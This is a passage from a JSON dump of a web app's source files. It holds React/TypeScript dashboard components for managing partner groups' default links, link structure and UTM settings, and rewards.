onConfirm: deleteLinkFormat,\n  });\n\n  return (\n    <>\n      {confirmModal}\n      <div className=\"border-border-subtle group relative flex h-16 cursor-pointer items-center gap-3 rounded-xl border bg-white p-4 transition-all hover:border-neutral-300 hover:shadow-sm\">\n        <div\n          className=\"flex min-w-0 flex-1 items-center gap-3\"\n          onClick={() => setIsOpen(true)}\n        >\n          <div className=\"relative flex shrink-0 items-center\">\n            <div className=\"absolute inset-0 h-8 w-8 rounded-full border border-neutral-200 sm:h-10 sm:w-10\">\n              <div className=\"h-full w-full rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n            </div>\n            <div className=\"relative z-10 p-2\">\n              <LinkLogo\n                apexDomain={link.domain}\n                className=\"size-4 sm:size-6\"\n                imageProps={{\n                  loading: \"lazy\",\n                }}\n              />\n            </div>\n          </div>\n          <span className=\"text-content-default min-w-0 truncate text-sm font-semibold\">\n            {link.domain}\n            {link.path === \"/\" ? \"\" : link.path}\n          </span>\n        </div>\n\n        <Popover\n          content={\n            <div className=\"grid w-48 grid-cols-1 gap-px p-2\">\n              <Button\n                text=\"Edit\"\n                variant=\"outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setIsOpen(true);\n                }}\n                icon={<PenWriting className=\"size-4\" />}\n                className=\"h-9 justify-start px-2\"\n              />\n              <Button\n                text=\"Delete\"\n                variant=\"danger-outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowConfirmModal(true);\n                }}\n                icon={<Trash className=\"size-4\" />}\n                className=\"h-9 justify-start px-2\"\n              />\n            </div>\n          }\n          align=\"end\"\n          openPopover={openPopover}\n          setOpenPopover={setOpenPopover}\n        >\n          <Button\n            variant=\"secondary\"\n            className={cn(\n              \"h-8 w-8 shrink-0 p-0 outline-none transition-all duration-200\",\n              \"border-transparent group-hover:border-neutral-200 data-[state=open]:border-neutral-500\",\n            )}\n            icon={<ThreeDots className=\"size-4\" />}\n            onClick={(e) => {\n              e.stopPropagation();\n              setOpenPopover(!openPopover);\n            }}\n          />\n        </Popover>\n      </div>\n\n      {addDestinationUrlModal}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/group-default-links.tsx",
    "content": "\"use client\";\n\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport usePartnerGroupDefaultLinks from \"@/lib/swr/use-partner-group-default-links\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerGroupDefaultLink } from \"@/lib/types\";\nimport { MAX_DEFAULT_LINKS_PER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Hyperlink, InfoTooltip, Popover } from \"@dub/ui\";\nimport { PenWriting, Trash } from \"@dub/ui/icons\";\nimport { cn, getPrettyUrl, getUrlWithoutUTMParams } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { useDefaultPartnerLinkSheet } from \"./add-edit-group-default-link-sheet\";\nimport { PartnerLinkPreview } from \"./partner-link-preview\";\n\nexport function GroupDefaultLinks() {\n  const { defaultLinks, loading: loadingDefaultLinks } =\n    usePartnerGroupDefaultLinks();\n\n  const hasReachedMaxLinks = defaultLinks\n    ? defaultLinks.length >= MAX_DEFAULT_LINKS_PER_GROUP\n    : false;\n\n  return (\n    <div className=\"flex flex-col gap-6 rounded-lg border border-neutral-200 p-6\">\n      <div className=\"flex items-center justify-between\">\n        <div>\n          <div className=\"flex items-center gap-2\">\n            <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n              Default links\n            </h3>\n            <InfoTooltip\n              content={\n                \"Default links are links that are automatically created for each partner in this group. [Learn more.](https://dub.co/help/article/partner-link-settings#default-referral-links)\"\n              }\n            />\n          </div>\n          <p className=\"text-content-subtle text-sm font-normal leading-5\">\n            Links that are automatically created for each partner in this group\n          </p>\n        </div>\n\n        <CreateDefaultLinkButton\n          hasReachedMaxLinks={hasReachedMaxLinks}\n          isLoadingGroup={loadingDefaultLinks}\n        />\n      </div>\n\n      {defaultLinks && defaultLinks.length > 0 ? (\n        <div className=\"flex flex-col gap-4\">\n          {defaultLinks.map((link) => (\n            <DefaultLinkPreview key={link.url} link={link} />\n          ))}\n        </div>\n      ) : loadingDefaultLinks ? (\n        <div className=\"flex flex-col gap-4\">\n          <DefaultLinkPreviewSkeleton />\n          <DefaultLinkPreviewSkeleton />\n        </div>\n      ) : (\n        <NoDefaultLinks />\n      )}\n    </div>\n  );\n}\n\nfunction CreateDefaultLinkButton({\n  hasReachedMaxLinks,\n  isLoadingGroup,\n}: {\n  hasReachedMaxLinks: boolean;\n  isLoadingGroup: boolean;\n}) {\n  const { DefaultPartnerLinkSheet, setIsOpen } = useDefaultPartnerLinkSheet({});\n\n  return (\n    <>\n      <Button\n        text=\"Create link\"\n        variant=\"primary\"\n        className=\"h-8 w-fit rounded-lg px-3\"\n        onClick={() => setIsOpen(true)}\n        disabled={hasReachedMaxLinks || isLoadingGroup}\n        disabledTooltip={\n          hasReachedMaxLinks\n            ? `You can only create up to ${MAX_DEFAULT_LINKS_PER_GROUP} default links.`\n            : undefined\n        }\n      />\n      {DefaultPartnerLinkSheet}\n    </>\n  );\n}\n\nfunction DefaultLinkPreview({ link }: { link: PartnerGroupDefaultLink }) {\n  const { group } = useGroup();\n  const { id: workspaceId } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { makeRequest: deleteDefaultLink, isSubmitting } = useApiMutation();\n  const { DefaultPartnerLinkSheet, setIsOpen } = useDefaultPartnerLinkSheet({\n    link,\n  });\n\n  // Delete default link\n  const onConfirm = async () => {\n    if (!group) return;\n\n    await deleteDefaultLink(\n      `/api/groups/${group.id}/default-links/${link.id}`,\n      {\n        method: \"DELETE\",\n        onSuccess: async () => {\n          await mutate(\n            `/api/groups/${group.slug}/default-links?workspaceId=${workspaceId}`,\n          );\n          setOpenPopover(false);\n          toast.success(\"Default link deleted!\");\n        },\n      },\n    );\n  };\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Delete default link\",\n    description: (\n      <>\n        Are you sure you want to delete{\" \"}\n        <strong>{getPrettyUrl(getUrlWithoutUTMParams(link.url))}</strong>?\n        <br />\n        <br />\n        This won't affect any existing partner links, but if you recreate the\n        link, it could result in duplicate links for partners in this group.\n        <br />\n        <br />\n        If you want to change the default link, try editing it instead.\n      </>\n    ),\n    confirmText: \"Delete\",\n    onConfirm,\n  });\n\n  return (\n    <>\n      {confirmModal}\n      <div className=\"group relative\">\n        <div className=\"cursor-pointer\" onClick={() => setIsOpen(true)}>\n          <PartnerLinkPreview\n            url={link.url}\n            domain={link.domain}\n            linkStructure={group?.linkStructure || \"query\"}\n            className={isSubmitting ? \"opacity-50\" : undefined}\n          />\n        </div>\n\n        <div className=\"absolute right-4 top-1/2 -translate-y-1/2\">\n          <Popover\n            content={\n              <div className=\"grid w-48 grid-cols-1 gap-px p-2\">\n                <Button\n                  text=\"Edit\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setIsOpen(true);\n                  }}\n                  icon={<PenWriting className=\"size-4\" />}\n                  className=\"h-9 justify-start px-2\"\n                  loading={isSubmitting}\n                />\n                <Button\n                  text=\"Delete\"\n                  variant=\"danger-outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowConfirmModal(true);\n                  }}\n                  icon={<Trash className=\"size-4\" />}\n                  className=\"h-9 justify-start px-2\"\n                  loading={isSubmitting}\n                />\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"secondary\"\n              className={cn(\n                \"h-8 w-8 shrink-0 p-0 outline-none transition-all duration-200\",\n                \"border-transparent group-hover:border-neutral-200 data-[state=open]:border-neutral-500\",\n              )}\n              icon={<ThreeDots className=\"size-4\" />}\n              onClick={(e) => {\n                e.stopPropagation();\n                setOpenPopover(!openPopover);\n              }}\n            />\n          </Popover>\n        </div>\n      </div>\n      {DefaultPartnerLinkSheet}\n    </>\n  );\n}\n\nfunction DefaultLinkPreviewSkeleton() {\n  return (\n    <div className=\"border-border-subtle group relative flex items-center gap-3 rounded-xl border bg-white p-4\">\n      <div className=\"relative flex shrink-0 items-center\">\n        <div className=\"absolute inset-0 h-8 w-8 rounded-full border border-neutral-200 sm:h-10 sm:w-10\">\n          <div className=\"h-full w-full rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n        </div>\n        <div className=\"relative z-10 p-2\">\n          <div className=\"size-4 animate-pulse rounded-full bg-neutral-200 sm:size-6\" />\n        </div>\n      </div>\n\n      <div className=\"min-w-0 flex-1 space-y-0.5\">\n        <div className=\"h-4 w-2/3 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"flex min-h-[20px] items-center gap-1\">\n          <div className=\"h-3 w-3 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-3 w-1/2 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction NoDefaultLinks() {\n  return (\n    <div className=\"flex h-[200px] flex-col items-center justify-center gap-6 rounded-lg bg-neutral-50 p-4\">\n      <Hyperlink className=\"text-content-emphasis size-6\" />\n      <div className=\"flex flex-col gap-1 text-center\">\n        <h2 className=\"text-content-emphasis text-base font-medium\">\n          Default links\n        </h2>\n        <p className=\"text-content-subtle text-sm\">\n          No default links have been created yet\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/group-link-settings.tsx",
    "content": "\"use client\";\n\nimport { getLinkStructureOptions } from \"@/lib/partners/get-link-structure-options\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { GroupProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { GroupSettingsRow } from \"@/ui/partners/groups/group-settings-row\";\nimport { Badge, Button, UTMBuilder } from \"@dub/ui\";\nimport { CircleCheckFill } from \"@dub/ui/icons\";\nimport { cn, deepEqual } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ntype FormData = {\n  utmTemplateId?: string | null;\n  linkStructure?: string;\n  utm_source?: string | null;\n  utm_medium?: string | null;\n  utm_campaign?: string | null;\n  utm_term?: string | null;\n  utm_content?: string | null;\n  ref?: string | null;\n};\n\nexport function GroupLinkSettings() {\n  const { group, loading: isLoadingGroup } = useGroup();\n\n  return (\n    <div className=\"flex flex-col divide-y divide-neutral-200 rounded-lg border border-neutral-200\">\n      <div className=\"px-6 py-6\">\n        <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n          Link settings\n        </h3>\n        <p className=\"text-content-subtle text-sm font-normal leading-5\">\n          Configure link structure and UTM parameters\n        </p>\n      </div>\n\n      {group ? (\n        <GroupLinkSettingsForm group={group} />\n      ) : isLoadingGroup ? (\n        <div className=\"flex h-[4.5rem] animate-pulse rounded-b-lg border-t border-neutral-200 bg-neutral-100\" />\n      ) : (\n        <div className=\"text-content-subtle h-20 text-center\">\n          Failed to load link settings\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction GroupLinkSettingsForm({ group }: { group: GroupProps }) {\n  const { program } = useProgram();\n  const { id: workspaceId } = useWorkspace();\n\n  const [isUpdatingTemplate, setIsUpdatingTemplate] = useState(false);\n\n  const { makeRequest: updateGroup, isSubmitting: isUpdatingGroup } =\n    useApiMutation();\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Save changes\",\n    description:\n      \"Are you sure you want to save these link settings changes? This will update all links in this group.\",\n    onConfirm: () => handleSubmit(onSubmit)(),\n    confirmText: \"Save changes\",\n  });\n\n  const {\n    handleSubmit,\n    watch,\n    setValue,\n    register,\n    formState: { isDirty },\n  } = useForm<FormData>({\n    mode: \"onBlur\",\n    values: {\n      utmTemplateId: group?.utmTemplate?.id || null,\n      utm_source: group?.utmTemplate?.utm_source || null,\n      utm_medium: group?.utmTemplate?.utm_medium || null,\n      utm_campaign: group?.utmTemplate?.utm_campaign || null,\n      utm_term: group?.utmTemplate?.utm_term || null,\n      utm_content: group?.utmTemplate?.utm_content || null,\n      ref: group?.utmTemplate?.ref || null,\n      linkStructure: group?.linkStructure || null,\n    },\n  });\n\n  const currentValues = watch();\n\n  const onSubmit = async (data: FormData) => {\n    if (!group || !workspaceId) return;\n\n    let {\n      utmTemplateId,\n      utm_source,\n      utm_medium,\n      utm_campaign,\n      utm_term,\n      utm_content,\n      ref,\n      linkStructure,\n    } = data;\n\n    const utmFieldsChanged = !deepEqual(\n      {\n        utmTemplateId,\n        utm_source,\n        utm_medium,\n        utm_campaign,\n        utm_term,\n        utm_content,\n        ref,\n      },\n      {\n        utm_source: currentValues.utm_source,\n        utm_medium: currentValues.utm_medium,\n        utm_campaign: currentValues.utm_campaign,\n        utm_term: currentValues.utm_term,\n        utm_content: currentValues.utm_content,\n        ref: currentValues.ref,\n      },\n    );\n\n    // Create a new UTM template if one doesn't exist\n    if (utmFieldsChanged) {\n      setIsUpdatingTemplate(true);\n\n      const endpoint = utmTemplateId\n        ? `/api/utm/${utmTemplateId}?workspaceId=${workspaceId}`\n        : `/api/utm?workspaceId=${workspaceId}`;\n\n      // Create or update the UTM template\n      const response = await fetch(endpoint, {\n        method: utmTemplateId ? \"PATCH\" : \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({\n          name: group.name,\n          utm_source,\n          utm_medium,\n          utm_campaign,\n          utm_term,\n          utm_content,\n          ref,\n        }),\n      });\n\n      setIsUpdatingTemplate(false);\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        toast.error(error.message);\n        return;\n      }\n\n      if (!utmTemplateId) {\n        const data = await response.json();\n        utmTemplateId = data.id;\n      }\n    }\n\n    // Update the group with UTM template and link structure\n    const shouldUpdateGroup =\n      linkStructure !== group.linkStructure ||\n      utmTemplateId !== group.utmTemplate?.id;\n\n    if (shouldUpdateGroup) {\n      await updateGroup(`/api/groups/${group.id}`, {\n        method: \"PATCH\",\n        body: {\n          linkStructure,\n          utmTemplateId,\n        },\n      });\n    }\n\n    await mutatePrefix([\"/api/groups\", \"/api/utm\"]);\n    toast.success(\"Successfully updated link settings!\");\n  };\n\n  return (\n    <form className=\"flex flex-col divide-y divide-neutral-200\">\n      <GroupSettingsRow\n        heading=\"Link structure\"\n        description=\"Configure the [format of your partner referral links](https://dub.co/help/article/partner-link-settings#link-structure).\"\n      >\n        <div className=\"grid grid-cols-1 gap-3\">\n          {program &&\n            getLinkStructureOptions({\n              domain: program.domain,\n              url: program.url,\n            }).map((type) => {\n              const isSelected = type.id === currentValues.linkStructure;\n\n              return (\n                <label\n                  key={type.id}\n                  className={cn(\n                    \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600\",\n                    \"transition-all duration-150 hover:bg-neutral-50\",\n                    isSelected &&\n                      \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                  )}\n                >\n                  <input\n                    type=\"radio\"\n                    value={type.id}\n                    className=\"hidden\"\n                    {...register(\"linkStructure\")}\n                  />\n\n                  <div className=\"flex grow flex-col text-sm\">\n                    <span className=\"font-medium\">{type.label}</span>\n                    <span className=\"text-neutral-600\">{type.example}</span>\n                  </div>\n\n                  <div className=\"flex items-center justify-end gap-2\">\n                    {type.recommended && (\n                      <Badge variant=\"blueGradient\">Recommended</Badge>\n                    )}\n                    <CircleCheckFill\n                      className={cn(\n                        \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                        isSelected && \"scale-100 opacity-100\",\n                      )}\n                    />\n                  </div>\n                </label>\n              );\n            })}\n        </div>\n      </GroupSettingsRow>\n\n      <GroupSettingsRow\n        heading=\"UTM parameters\"\n        description=\"Configure [UTM tracking parameters](https://dub.co/help/article/partner-link-settings#utm-parameters) for all links in this group\"\n      >\n        <UTMBuilder\n          values={{\n            utm_source: currentValues.utm_source || \"\",\n            utm_medium: currentValues.utm_medium || \"\",\n            utm_campaign: currentValues.utm_campaign || \"\",\n            utm_term: currentValues.utm_term || \"\",\n            utm_content: currentValues.utm_content || \"\",\n            ref: currentValues.ref || \"\",\n          }}\n          onChange={(key, value) => {\n            setValue(key, value, { shouldDirty: true });\n          }}\n        />\n      </GroupSettingsRow>\n\n      <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-6 py-5\">\n        <Button\n          text=\"Save changes\"\n          className=\"h-8 w-fit\"\n          loading={isUpdatingGroup || isUpdatingTemplate}\n          disabled={!isDirty}\n          onClick={() => setShowConfirmModal(true)}\n        />\n      </div>\n      {confirmModal}\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/page.tsx",
    "content": "import { GroupAdditionalLinks } from \"./group-additional-links\";\nimport { GroupDefaultLinks } from \"./group-default-links\";\nimport { GroupLinkSettings } from \"./group-link-settings\";\n\nexport default function GroupDefaultLinksPage() {\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <GroupDefaultLinks />\n      <GroupAdditionalLinks />\n      <GroupLinkSettings />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/partner-link-preview.tsx",
    "content": "import { getLinkStructureOptions } from \"@/lib/partners/get-link-structure-options\";\nimport { PartnerLinkStructure } from \"@dub/prisma/client\";\nimport { LinkLogo } from \"@dub/ui\";\nimport { ArrowTurnRight2 } from \"@dub/ui/icons\";\nimport { cn, getApexDomain, getPrettyUrl } from \"@dub/utils\";\nimport { useMemo } from \"react\";\n\nexport function PartnerLinkPreview({\n  url,\n  domain,\n  linkStructure,\n  className,\n}: {\n  url: string;\n  domain: string;\n  linkStructure: PartnerLinkStructure;\n  className?: string;\n}) {\n  const linkStructureOptions = getLinkStructureOptions({\n    domain,\n    url,\n  });\n\n  const shortLinkPreview = useMemo(() => {\n    const selectedOption = linkStructureOptions.find(\n      (option) => option.id === linkStructure,\n    );\n\n    return selectedOption?.example || `${domain}/partner`;\n  }, [linkStructureOptions, linkStructure, domain]);\n\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle group relative flex items-center gap-3 rounded-xl border bg-white p-4 transition-all hover:border-neutral-300 hover:shadow-sm\",\n        className,\n      )}\n    >\n      <div className=\"relative flex shrink-0 items-center\">\n        <div className=\"absolute inset-0 h-8 w-8 rounded-full border border-neutral-200 sm:h-10 sm:w-10\">\n          <div className=\"h-full w-full rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n        </div>\n        <div className=\"relative z-10 p-2\">\n          {url ? (\n            <LinkLogo\n              apexDomain={getApexDomain(url)}\n              className=\"size-4 sm:size-6\"\n              imageProps={{\n                loading: \"lazy\",\n              }}\n            />\n          ) : (\n            <div className=\"size-4 rounded-full bg-neutral-200 sm:size-6\" />\n          )}\n        </div>\n      </div>\n\n      <div className=\"min-w-0 flex-1 space-y-0.5\">\n        <div className=\"truncate text-sm font-medium text-neutral-700\">\n          {shortLinkPreview}\n        </div>\n\n        <div className=\"flex min-h-[20px] items-center gap-1 text-sm text-neutral-500\">\n          {url ? (\n            <>\n              <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n              <span className=\"truncate\">{getPrettyUrl(url)}</span>\n            </>\n          ) : (\n            <div className=\"h-3 w-1/2 rounded-md bg-neutral-200\" />\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/rewards/group-rewards.tsx",
    "content": "\"use client\";\n\nimport useGroup from \"@/lib/swr/use-group\";\nimport type { GroupProps, RewardProps } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { useRewardHistorySheet } from \"@/ui/activity-logs/reward-history-sheet\";\nimport { REWARD_EVENTS } from \"@/ui/partners/constants\";\nimport { ProgramRewardDescription } from \"@/ui/partners/program-reward-description\";\nimport {\n  RewardSheet,\n  useRewardSheet,\n} from \"@/ui/partners/rewards/add-edit-reward-sheet\";\nimport { EventType } from \"@dub/prisma/client\";\nimport { Button, TimestampTooltip, useRouterStuff } from \"@dub/ui\";\nimport { cn, formatDate } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useEffect, useState } from \"react\";\n\nconst REWARD_EVENT_DESCRIPTIONS: Record<\n  EventType,\n  { title: string; description: string }\n> = {\n  sale: {\n    title: \"Sale reward\",\n    description: \"Reward when revenue is generated\",\n  },\n  lead: {\n    title: \"Lead reward\",\n    description: \"Reward for sign ups or demos\",\n  },\n  click: {\n    title: \"Click reward\",\n    description: \"Reward for traffic and reach\",\n  },\n};\n\nexport function GroupRewards() {\n  const { group, loading } = useGroup();\n  const { searchParams } = useRouterStuff();\n\n  const [rewardSheetState, setRewardSheetState] = useState<\n    { open: false; rewardId: string | null } | { open: true; rewardId: string }\n  >({ open: false, rewardId: null });\n\n  useEffect(() => {\n    const rewardId = searchParams.get(\"rewardId\");\n\n    if (rewardId) {\n      setRewardSheetState({ open: true, rewardId });\n    } else {\n      setRewardSheetState({ open: false, rewardId: null });\n    }\n  }, [searchParams]);\n\n  const rewards =\n    [group?.clickReward, group?.leadReward, group?.saleReward].filter(\n      Boolean,\n    ) ?? [];\n\n  const currentReward = rewardSheetState.rewardId\n    ? rewards.find((r) => r?.id === rewardSheetState.rewardId)\n    : undefined;\n  const isNewReward = rewardSheetState.rewardId?.startsWith(\"new-\");\n  const newRewardEvent = isNewReward\n    ? (rewardSheetState.rewardId?.replace(\"new-\", \"\") as EventType)\n    : undefined;\n\n  return (\n    <div>\n      {rewardSheetState.rewardId && (currentReward || isNewReward) && (\n        <RewardSheetWrapper\n          reward={currentReward}\n          event={newRewardEvent}\n          isOpen={rewardSheetState.open}\n          setIsOpen={(open) =>\n            setRewardSheetState((s) => ({ ...s, open }) as any)\n          }\n        />\n      )}\n\n      <div className=\"flex flex-col gap-6\">\n        {loading || !group ? (\n          <>\n            <RewardSkeleton />\n            <RewardSkeleton />\n            <RewardSkeleton />\n          </>\n        ) : (\n          <>\n            <RewardItem reward={group.saleReward} event=\"sale\" group={group} />\n            <RewardItem reward={group.leadReward} event=\"lead\" group={group} />\n            <RewardItem\n              reward={group.clickReward}\n              event=\"click\"\n              group={group}\n            />\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n\nconst RewardSheetWrapper = ({\n  reward,\n  event,\n  isOpen,\n  setIsOpen,\n}: {\n  reward?: RewardProps | null;\n  event?: EventType;\n  isOpen: boolean;\n  setIsOpen: (open: boolean) => void;\n}) => {\n  return (\n    <RewardSheet\n      isOpen={isOpen}\n      setIsOpen={setIsOpen}\n      event={event || reward?.event || \"sale\"}\n      reward={reward || undefined}\n    />\n  );\n};\n\nconst RewardItem = ({\n  reward,\n  event,\n  group,\n}: {\n  reward?: RewardProps | null;\n  event: EventType;\n  group: GroupProps;\n}) => {\n  const { slug } = useParams();\n  const { queryParams } = useRouterStuff();\n\n  const { RewardSheet, setIsOpen } = useRewardSheet({\n    event,\n    reward: reward || undefined,\n  });\n\n  const {\n    hasActivityLogs,\n    finalActivityLogDate,\n    rewardHistorySheet,\n    setIsOpen: setHistoryOpen,\n  } = useRewardHistorySheet({\n    reward: reward ?? null,\n  });\n\n  const Icon = REWARD_EVENTS[event].icon;\n  const As = reward ? Link : \"div\";\n\n  return (\n    <>\n      {RewardSheet}\n      {rewardHistorySheet}\n      <As\n        href={\n          reward\n            ? `/${slug}/program/groups/${group.slug}/rewards?rewardId=${reward.id}`\n            : \"\"\n        }\n        scroll={false}\n        className={cn(\n          \"flex flex-col gap-4 rounded-lg p-6 transition-all md:flex-row md:items-center\",\n          reward &&\n            \"cursor-pointer border border-neutral-200 hover:border-neutral-300\",\n          !reward && \"bg-neutral-50 hover:bg-neutral-100\",\n        )}\n      >\n        <div className=\"flex size-10 shrink-0 items-center justify-center rounded-full border border-neutral-200 bg-white\">\n          <Icon className=\"size-4 text-neutral-600\" />\n        </div>\n        <div className=\"flex flex-1 flex-col justify-between gap-y-4 md:flex-row md:items-center\">\n          <div className=\"flex w-full items-center gap-2\">\n            {reward ? (\n              <div className=\"flex min-w-0 flex-1 flex-col gap-1\">\n                <div className=\"text-sm font-normal\">\n                  <ProgramRewardDescription\n                    reward={reward}\n                    amountClassName=\"text-blue-600\"\n                  />\n                </div>\n\n                <div className=\"flex items-center gap-1 text-xs font-medium text-neutral-500\">\n                  <span>Last updated </span>\n                  {!finalActivityLogDate ? (\n                    <div className=\"h-3 w-16 animate-pulse rounded bg-neutral-100\" />\n                  ) : (\n                    <TimestampTooltip\n                      timestamp={finalActivityLogDate}\n                      side=\"left\"\n                      rows={[\"local\", \"utc\", \"unix\"]}\n                    >\n                      <span>\n                        {formatDate(finalActivityLogDate, {\n                          month: \"short\",\n                          day: \"numeric\",\n                          year: \"numeric\",\n                        })}\n                      </span>\n                    </TimestampTooltip>\n                  )}\n\n                  {!hasActivityLogs ? (\n                    <div className=\"ml-1 h-3 w-20 animate-pulse rounded bg-neutral-100\" />\n                  ) : (\n                    <>\n                      <span\n                        className=\"ml-1 size-1 shrink-0 rounded-full bg-neutral-400\"\n                        aria-hidden\n                      />\n                      <Button\n                        variant=\"outline\"\n                        text=\"View history\"\n                        className=\"h-4 w-fit px-1 py-0.5 text-xs font-medium text-neutral-500\"\n                        onClick={(e) => {\n                          e.preventDefault();\n                          e.stopPropagation();\n                          setHistoryOpen(true);\n                        }}\n                      />\n                    </>\n                  )}\n                </div>\n              </div>\n            ) : (\n              <div className=\"flex flex-col\">\n                <span className=\"text-sm font-medium text-neutral-900\">\n                  {REWARD_EVENT_DESCRIPTIONS[event].title}\n                </span>\n                <span className=\"text-sm font-normal text-neutral-500\">\n                  {REWARD_EVENT_DESCRIPTIONS[event].description}\n                </span>\n              </div>\n            )}\n          </div>\n\n          {reward ? (\n            <Button\n              text=\"Edit\"\n              variant=\"secondary\"\n              className=\"h-9 w-fit rounded-lg\"\n              onClick={(e) => {\n                e.preventDefault();\n                e.stopPropagation();\n                queryParams({\n                  set: {\n                    rewardId: reward.id,\n                  },\n                  scroll: false,\n                });\n              }}\n            />\n          ) : (\n            <div className=\"flex flex-col-reverse items-center gap-2 md:flex-row\">\n              {group.slug !== DEFAULT_PARTNER_GROUP.slug && (\n                <CopyDefaultRewardButton event={event} />\n              )}\n              <Button\n                text=\"Create\"\n                variant=\"primary\"\n                className=\"h-9 w-full rounded-lg md:w-fit\"\n                onClick={(e) => {\n                  e.preventDefault();\n                  e.stopPropagation();\n                  setIsOpen(true);\n                }}\n              />\n            </div>\n          )}\n        </div>\n      </As>\n    </>\n  );\n};\n\nconst CopyDefaultRewardButton = ({ event }: { event: EventType }) => {\n  const { group: defaultGroup } = useGroup({\n    groupIdOrSlug: DEFAULT_PARTNER_GROUP.slug,\n  });\n\n  const defaultReward = defaultGroup?.[`${event}Reward`];\n\n  const { RewardSheet, setIsOpen } = useRewardSheet({\n    event,\n    defaultRewardValues: defaultReward ?? undefined,\n  });\n\n  return defaultReward ? (\n    <>\n      {RewardSheet}\n      <Button\n        text=\"Duplicate default group\"\n        variant=\"secondary\"\n        className=\"animate-fade-in h-9 w-full rounded-lg md:w-fit\"\n        onClick={(e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          setIsOpen(true);\n        }}\n      />\n    </>\n  ) : null;\n};\n\nconst RewardSkeleton = () => {\n  return (\n    <div className=\"flex items-center gap-4 rounded-lg bg-neutral-50 p-6\">\n      <div className=\"flex size-10 animate-pulse items-center justify-center rounded-full border border-neutral-200 bg-neutral-100\" />\n      <div className=\"flex flex-1 items-center justify-between\">\n        <div className=\"h-4 w-64 animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-6 w-24 animate-pulse rounded-full bg-neutral-100\" />\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/rewards/page.tsx",
    "content": "import { GroupRewards } from \"./group-rewards\";\n\nexport default function GroupRewardsPage() {\n  return <GroupRewards />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/settings/group-additional-settings.tsx",
